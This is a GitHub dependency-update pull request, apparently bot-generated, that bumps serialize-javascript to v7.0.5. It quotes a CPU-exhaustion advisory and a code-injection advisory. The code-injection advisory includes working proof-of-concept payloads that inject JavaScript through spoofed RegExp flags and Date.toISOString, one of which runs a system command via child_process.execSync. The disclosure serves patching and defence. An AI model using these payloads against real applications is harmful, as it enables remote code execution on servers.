Skip to content

Update dependency serialize-javascript to v7 [SECURITY]#60

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-serialize-javascript-vulnerability
Open

Update dependency serialize-javascript to v7 [SECURITY]#60
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-serialize-javascript-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 3, 2026 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
serialize-javascript 3.1.0 → 7.0.5 age confidence

GitHub Vulnerability Alerts

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

CVE-2026-34043

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

  • Validating and sanitizing all input before passing it to the serialize() function.
  • Ensuring the environment is protected against Prototype Pollution.
  • Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@​TomerAberbach) for discovering and privately disclosing this issue.

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.5

Compare Source

Fixes
  • Improve robustness and validation for array-like object serialization.
  • Fix an issue where certain object structures could lead to excessive CPU usage.

For more details, please see GHSA-qj8w-gfj5-8c6v.

v7.0.4

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.3...v7.0.4

v7.0.3

Compare Source

v7.0.2

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

v6.0.2

Compare Source

v6.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1

v6.0.0

Compare Source

Changelog

  • Add support for URL's (#​123)
  • Bump mocha from 9.0.0 to 9.0.1 (#​124)
  • Bump mocha from 8.4.0 to 9.0.0 (#​121)
  • Update Node.js CI matrix (#​122)
  • Bump mocha from 8.3.2 to 8.4.0 (#​120)
  • Bump lodash from 4.17.19 to 4.17.21 (#​119)
  • Bump y18n from 4.0.0 to 4.0.1 (#​116)
  • Bump chai from 4.3.3 to 4.3.4 (#​115)
  • Bump mocha from 8.3.1 to 8.3.2 (#​114)
  • Bump mocha from 8.3.0 to 8.3.1 (#​113)
  • Bump chai from 4.3.1 to 4.3.3 (#​112)
  • Bump chai from 4.2.0 to 4.3.1 (#​111)
  • Bump mocha from 8.2.1 to 8.3.0 (#​109)
  • Bump mocha from 8.1.3 to 8.2.1 (#​105)
  • Drop Travis CI settings (#​100)
  • Change default branch name to main (#​99)
  • GitHub Aactions (#​98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.

const serialize = require("serialize-javascript");

serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'

Thank you @​rrdelaney for this release.

v5.0.1

Compare Source

Changelog

  • Exclude .vscode and .github directories from package (#​97)

v5.0.0

Compare Source

Changelog

  • Bump mocha from 8.1.2 to 8.1.3 (#​96)
  • Support sparse arrays (#​95)
  • Bump mocha from 8.1.1 to 8.1.2 (#​94)
  • Bump mocha from 8.1.0 to 8.1.1 (#​92)
  • Create Dependabot config file (#​91)
  • Bump mocha from 8.0.1 to 8.1.0 (#​90)
  • Bump lodash from 4.17.15 to 4.17.19 (#​89)
  • Bump mocha from 7.2.0 to 8.0.1 (#​88)

Behavior changes for sparse arrays

It serializes sparse arrays as follows since this version. The result of serialization may be changed if you are passing sparse arrays values into the serialize-javascript.

const serialize = require('serialize-javascript');

var a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
delete a[0];
a.length = 3;
a[5] = 'wat';
serialize(a) // 'Array.prototype.slice.call({"1":2,"2":3,"5":"wat","length":6})'

Thank you @​victorporof for this release.

v4.0.0

Compare Source

Changelog

  • Bump nyc from 15.0.1 to 15.1.0 (#​85)
  • support for bigint (#​80)

Behavior changes for BigInt

It serializes BigInt values as follows since this version. The result of serialization may be changed if you are passing BigInt values into the serialize-javascript.

v4.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // '{"big":BigInt("10")}'

v3.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // throws error

Thank you @​mum-never-proud for this release.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependency This pull request updates a dependency label Mar 3, 2026
@renovate renovate bot changed the title Update dependency serialize-javascript to v7 [SECURITY] Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-serialize-javascript-vulnerability branch March 27, 2026 02:16
@renovate renovate bot changed the title Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Update dependency serialize-javascript to v7 [SECURITY] Mar 29, 2026
@renovate renovate bot reopened this Mar 29, 2026
@renovate renovate bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 2 times, most recently from 595d666 to 67bca0c Compare March 29, 2026 21:37
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependency This pull request updates a dependency

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants